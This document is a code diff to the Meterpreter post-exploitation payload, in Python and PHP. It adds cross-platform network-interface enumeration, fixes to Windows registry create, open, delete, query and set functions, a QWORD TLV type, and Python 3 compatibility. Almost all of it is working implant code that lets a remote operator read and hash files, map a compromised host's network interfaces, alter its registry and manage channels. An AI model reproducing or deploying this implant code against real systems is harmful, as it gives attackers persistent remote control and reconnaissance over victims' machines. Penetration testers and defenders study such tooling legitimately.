@meterpreter.register_function
|
||||
def stdapi_fs_md5(request, response):
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||
import md5
|
||||
m = md5.new()
|
||||
else:
|
||||
try:
|
||||
import hashlib
|
||||
m = hashlib.md5()
|
||||
except ImportError:
|
||||
import md5
|
||||
m = md5.new()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
|
|
@ -689,7 +943,8 @@ def stdapi_fs_md5(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_mkdir(request, response):
|
||||
dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
|
||||
os.mkdir(dir_path)
|
||||
if not os.path.isdir(dir_path):
|
||||
os.mkdir(dir_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
|
@ -722,12 +977,12 @@ def stdapi_fs_separator(request, response):
|
|||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_sha1(request, response):
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||
import sha1
|
||||
m = sha1.new()
|
||||
else:
|
||||
try:
|
||||
import hashlib
|
||||
m = hashlib.sha1()
|
||||
except ImportError:
|
||||
import sha
|
||||
m = sha.new()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
|
|
@ -740,6 +995,238 @@ def stdapi_fs_stat(request, response):
|
|||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_config_get_interfaces(request, response):
|
||||
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
|
||||
interfaces = stdapi_net_config_get_interfaces_via_netlink()
|
||||
elif has_osxsc:
|
||||
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
|
||||
elif has_windll:
|
||||
interfaces = stdapi_net_config_get_interfaces_via_windll()
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
for iface_info in interfaces:
|
||||
iface_tlv = bytes()
|
||||
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
|
||||
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
|
||||
if 'mtu' in iface_info:
|
||||
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
|
||||
if 'flags' in iface_info:
|
||||
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
|
||||
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
|
||||
for address in iface_info.get('addrs', []):
|
||||
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
|
||||
if isinstance(address[2], (int, long)):
|
||||
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
|
||||
else:
|
||||
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
|
||||
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_netlink():
|
||||
rta_align = lambda l: l+3 & ~3
|
||||
iface_flags = {
|
||||
0x0001: 'UP',
|
||||
0x0002: 'BROADCAST',
|
||||
0x0008: 'LOOPBACK',
|
||||
0x0010: 'POINTTOPOINT',
|
||||
0x0040: 'RUNNING',
|
||||
0x0100: 'PROMISC',
|
||||
0x1000: 'MULTICAST'
|
||||
}
|
||||
iface_flags_sorted = list(iface_flags.keys())
|
||||
# Dictionaries don't maintain order
|
||||
iface_flags_sorted.sort()
|
||||
interfaces = {}
|
||||
|
||||
responses = netlink_request(RTM_GETLINK)
|
||||
for res_data in responses:
|
||||
iface = cstruct_unpack(IFINFOMSG, res_data)
|
||||
iface_info = {'index':iface.index}
|
||||
flags = []
|
||||
for flag in iface_flags_sorted:
|
||||
if (iface.flags & flag):
|
||||
flags.append(iface_flags[flag])
|
||||
iface_info['flags'] = ' '.join(flags)
|
||||
cursor = ctypes.sizeof(IFINFOMSG)
|
||||
while cursor < len(res_data):
|
||||
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||
at_len = attribute.len
|
||||
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||
cursor += rta_align(at_len)
|
||||
|
||||
if attribute.type == IFLA_ADDRESS:
|
||||
iface_info['hw_addr'] = attr_data
|
||||
elif attribute.type == IFLA_IFNAME:
|
||||
iface_info['name'] = attr_data
|
||||
elif attribute.type == IFLA_MTU:
|
||||
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
|
||||
interfaces[iface.index] = iface_info
|
||||
|
||||
responses = netlink_request(RTM_GETADDR)
|
||||
for res_data in responses:
|
||||
iface = cstruct_unpack(IFADDRMSG, res_data)
|
||||
if not iface.family in (socket.AF_INET, socket.AF_INET6):
|
||||
continue
|
||||
iface_info = interfaces.get(iface.index, {})
|
||||
cursor = ctypes.sizeof(IFADDRMSG)
|
||||
while cursor < len(res_data):
|
||||
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||
at_len = attribute.len
|
||||
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||
cursor += rta_align(at_len)
|
||||
|
||||
if attribute.type == IFA_ADDRESS:
|
||||
nm_bits = iface.prefixlen
|
||||
if iface.family == socket.AF_INET:
|
||||
netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits))
|
||||
else:
|
||||
if nm_bits >= 96:
|
||||
netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits))
|
||||
elif nm_bits >= 64:
|
||||
netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0)
|
||||
elif nm_bits >= 32:
|
||||
netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0)
|
||||
else:
|
||||
netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0)
|
||||
addr_list = iface_info.get('addrs', [])
|
||||
addr_list.append((iface.family, attr_data, netmask))
|
||||
iface_info['addrs'] = addr_list
|
||||
elif attribute.type == IFA_LABEL:
|
||||
iface_info['name'] = attr_data
|
||||
interfaces[iface.index] = iface_info
|
||||
return interfaces.values()
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_osxsc():
|
||||
ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None)
|
||||
entities = []
|
||||
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4))
|
||||
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6))
|
||||
patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks)
|
||||
values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns)
|
||||
interfaces = {}
|
||||
for key, value in values.items():
|
||||
iface_name = key.split('/')[3]
|
||||
iface_info = interfaces.get(iface_name, {})
|
||||
iface_info['name'] = str(iface_name)
|
||||
if key.endswith('IPv4'):
|
||||
family = socket.AF_INET
|
||||
elif key.endswith('IPv6'):
|
||||
family = socket.AF_INET6
|
||||
else:
|
||||
continue
|
||||
iface_addresses = iface_info.get('addrs', [])
|
||||
for idx in range(len(value['Addresses'])):
|
||||
if family == socket.AF_INET:
|
||||
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx])))
|
||||
else:
|
||||
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx]))
|
||||
iface_info['addrs'] = iface_addresses
|
||||
interfaces[iface_name] = iface_info
|
||||
for iface_ref in osxsc.SCNetworkInterfaceCopyAll():
|
||||
iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref)
|
||||
if not iface_name in interfaces:
|
||||
iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref)
|
||||
if not iface_type in ['Ethernet', 'IEEE80211']:
|
||||
continue
|
||||
interfaces[iface_name] = {'name': str(iface_name)}
|
||||
iface_info = interfaces[iface_name]
|
||||
mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1]
|
||||
iface_info['mtu'] = mtu
|
||||
hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref)
|
||||
if hw_addr:
|
||||
hw_addr = hw_addr.replace(':', '')
|
||||
hw_addr = hw_addr.decode('hex')
|
||||
iface_info['hw_addr'] = hw_addr
|
||||
ifnames = list(interfaces.keys())
|
||||
ifnames.sort()
|
||||
for iface_name, iface_info in interfaces.items():
|
||||
iface_info['index'] = ifnames.index(iface_name)
|
||||
return interfaces.values()
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_windll():
|
||||
iphlpapi = ctypes.windll.iphlpapi
|
||||
if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
|
||||
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
|
||||
AdapterAddresses = ctypes.c_void_p()
|
||||
SizePointer = ctypes.c_ulong()
|
||||
SizePointer.value = 0
|
||||
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
|
||||
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
|
||||
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
|
||||
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
|
||||
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
|
||||
if AdapterAddresses.u.s.Length <= 72:
|
||||
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||
win_version = windll_GetVersion()
|
||||
interfaces = []
|
||||
pAdapterAddresses = ctypes.byref(AdapterAddresses)
|
||||
while pAdapterAddresses:
|
||||
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
|
||||
pAdapterAddresses = AdapterAddresses.Next
|
||||
pFirstPrefix = AdapterAddresses.FirstPrefix
|
||||
iface_info = {}
|
||||
iface_info['index'] = AdapterAddresses.u.s.IfIndex
|
||||
if AdapterAddresses.PhysicalAddressLength:
|
||||
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
|
||||
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
|
||||
if not is_str(iface_desc):
|
||||
iface_desc = str(iface_desc)
|
||||
iface_info['name'] = iface_desc
|
||||
iface_info['mtu'] = AdapterAddresses.Mtu
|
||||
pUniAddr = AdapterAddresses.FirstUnicastAddress
|
||||
while pUniAddr:
|
||||
UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
|
||||
pUniAddr = UniAddr.Next
|
||||
address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
|
||||
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
|
||||
continue
|
||||
prefix = 0
|
||||
if win_version.dwMajorVersion >= 6:
|
||||
prefix = UniAddr.OnLinkPrefixLength
|
||||
elif pFirstPrefix:
|
||||
ip_adapter_prefix = 'QPPIL'
|
||||
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
|
||||
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
|
||||
iface_addresses = iface_info.get('addrs', [])
|
||||
if address.sa_family == socket.AF_INET:
|
||||
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
|
||||
else:
|
||||
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
|
||||
iface_info['addrs'] = iface_addresses
|
||||
interfaces.append(iface_info)
|
||||
return interfaces
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_windll_mib():
|
||||
iphlpapi = ctypes.windll.iphlpapi
|
||||
table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
|
||||
pdwSize = ctypes.c_ulong()
|
||||
pdwSize.value = ctypes.sizeof(table)
|
||||
if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
|
||||
return None
|
||||
interfaces = []
|
||||
table_data = ctypes.string_at(table, pdwSize.value)
|
||||
entries = struct.unpack('I', table_data[:4])[0]
|
||||
table_data = table_data[4:]
|
||||
for i in range(entries):
|
||||
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
|
||||
ifrow = MIB_IFROW()
|
||||
ifrow.dwIndex = addrrow.dwIndex
|
||||
if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
|
||||
continue
|
||||
iface_info = {}
|
||||
table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
|
||||
iface_info['index'] = addrrow.dwIndex
|
||||
iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
|
||||
if ifrow.dwPhysAddrLen:
|
||||
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
|
||||
if ifrow.dwDescrLen:
|
||||
iface_info['name'] = ifrow.bDescr
|
||||
iface_info['mtu'] = ifrow.dwMtu
|
||||
interfaces.append(iface_info)
|
||||
return interfaces
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_resolve_host(request, response):
|
||||
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
||||
|
|
@ -776,9 +1263,10 @@ def stdapi_net_resolve_hosts(request, response):
|
|||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
||||
channel = meterpreter.channels[channel_id]
|
||||
channel.close()
|
||||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
|
@ -791,9 +1279,10 @@ def stdapi_registry_close_key(request, response):
|
|||
def stdapi_registry_create_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
res_key = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
|
@ -802,18 +1291,20 @@ def stdapi_registry_create_key(request, response):
|
|||
def stdapi_registry_delete_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
||||
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
||||
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key)
|
||||
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
|
||||
else:
|
||||
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key)
|
||||
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_delete_value(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name)
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
|
@ -882,9 +1373,10 @@ def stdapi_registry_load_key(request, response):
|
|||
def stdapi_registry_open_key(request, response):
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
||||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
|
@ -914,24 +1406,26 @@ def stdapi_registry_query_class(request, response):
|
|||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
REG_SZ = 1
|
||||
REG_DWORD = 4
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = ctypes.c_uint32()
|
||||
value_type.value = 0
|
||||
value_data = (ctypes.c_ubyte * 4096)()
|
||||
value_data_sz = ctypes.c_uint32()
|
||||
value_data_sz.value = ctypes.sizeof(value_data)
|
||||
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
||||
result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz))
|
||||
if result == ERROR_SUCCESS:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value)
|
||||
if value_type.value == REG_SZ:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00')
|
||||
elif value_type.value == REG_DWORD:
|
||||
if value_type.value == winreg.REG_SZ:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE)
|
||||
elif value_type.value == winreg.REG_DWORD:
|
||||
value = value_data[:4]
|
||||
value.reverse()
|
||||
value = ''.join(map(chr, value))
|
||||
if sys.version_info[0] < 3:
|
||||
value = ''.join(map(chr, value))
|
||||
else:
|
||||
value = bytes(value)
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, value)
|
||||
else:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
||||
|
|
@ -942,9 +1436,10 @@ def stdapi_registry_query_value(request, response):
|
|||
def stdapi_registry_set_value(request, response):
|
||||
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
||||
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
||||
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
||||
value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value']
|
||||
value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value']
|
||||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data))
|
||||
result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data))
|
||||
return result, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
|
|
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -125,6 +125,7 @@ define("TLV_META_TYPE_STRING", (1 << 16));
|
|||
define("TLV_META_TYPE_UINT", (1 << 17));
|
||||
define("TLV_META_TYPE_RAW", (1 << 18));
|
||||
define("TLV_META_TYPE_BOOL", (1 << 19));
|
||||
define("TLV_META_TYPE_QWORD", (1 << 20));
|
||||
define("TLV_META_TYPE_COMPRESSED", (1 << 29));
|
||||
define("TLV_META_TYPE_GROUP", (1 << 30));
|
||||
define("TLV_META_TYPE_COMPLEX", (1 << 31));
|
||||
|
|
@ -655,6 +656,11 @@ function tlv_pack($tlv) {
|
|||
if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
||||
$ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0");
|
||||
}
|
||||
elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
||||
$hi = ($tlv['value'] >> 32) & 0xFFFFFFFF;
|
||||
$lo = $tlv['value'] & 0xFFFFFFFF;
|
||||
$ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo);
|
||||
}
|
||||
elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
||||
$ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']);
|
||||
}
|
||||
|
|
@ -686,10 +692,17 @@ function tlv_unpack($raw_tlv) {
|
|||
my_print("len: {$tlv['len']}, type: {$tlv['type']}");
|
||||
if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) {
|
||||
$tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len']));
|
||||
# PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing
|
||||
# NULL, so catch that here
|
||||
$tlv['value'] = str_replace("\0", "", $tlv['value']);
|
||||
}
|
||||
elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) {
|
||||
$tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||
}
|
||||
elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) {
|
||||
$tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len']));
|
||||
$tlv['value'] = $tlv['hi'] << 32 | $tlv['lo'];
|
||||
}
|
||||
elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) {
|
||||
$tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len']));
|
||||
}
|
||||
|
|
@ -911,7 +924,8 @@ function read($resource, $len=null) {
|
|||
$r = Array($resource);
|
||||
my_print("Calling select to see if there's data on $resource");
|
||||
while (true) {
|
||||
$cnt = stream_select($r, $w=NULL, $e=NULL, 0);
|
||||
$w=NULL;$e=NULL;$t=0;
|
||||
$cnt = stream_select($r, $w, $e, $t);
|
||||
|
||||
# Stream is not ready to read, have to live with what we've gotten
|
||||
# so far
|
||||
|
|
@ -1147,7 +1161,8 @@ add_reader($msgsock);
|
|||
# Main dispatch loop
|
||||
#
|
||||
$r=$GLOBALS['readers'];
|
||||
while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
|
||||
$w=NULL;$e=NULL;$t=1;
|
||||
while (false !== ($cnt = select($r, $w, $e, $t))) {
|
||||
#my_print(sprintf("Returned from select with %s readers", count($r)));
|
||||
$read_failed = false;
|
||||
for ($i = 0; $i < $cnt; $i++) {
|
||||
|
|
|
|||
|
|
@ -1,6 +1,5 @@
|
|||
#!/usr/bin/python
|
||||
import code
|
||||
import ctypes
|
||||
import os
|
||||
import random
|
||||
import select
|
||||
|
|
@ -9,15 +8,33 @@ import struct
|
|||
import subprocess
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import traceback
|
||||
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
try:
|
||||
import ctypes
|
||||
except ImportError:
|
||||
has_windll = False
|
||||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
DEBUGGING = False
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
|
|
@ -25,92 +42,105 @@ ERROR_SUCCESS = 0
|
|||
ERROR_FAILURE = 1
|
||||
|
||||
CHANNEL_CLASS_BUFFERED = 0
|
||||
CHANNEL_CLASS_STREAM = 1
|
||||
CHANNEL_CLASS_STREAM = 1
|
||||
CHANNEL_CLASS_DATAGRAM = 2
|
||||
CHANNEL_CLASS_POOL = 3
|
||||
CHANNEL_CLASS_POOL = 3
|
||||
|
||||
#
|
||||
# TLV Meta Types
|
||||
#
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_QWORD = (1 << 20)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
# not defined in original
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
|
||||
#
|
||||
# TLV base starting points
|
||||
#
|
||||
TLV_RESERVED = 0
|
||||
TLV_RESERVED = 0
|
||||
TLV_EXTENSIONS = 20000
|
||||
TLV_USER = 40000
|
||||
TLV_TEMP = 60000
|
||||
TLV_USER = 40000
|
||||
TLV_TEMP = 60000
|
||||
|
||||
#
|
||||
# TLV Specific Types
|
||||
#
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
||||
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
||||
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
||||
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
||||
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
||||
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
||||
|
||||
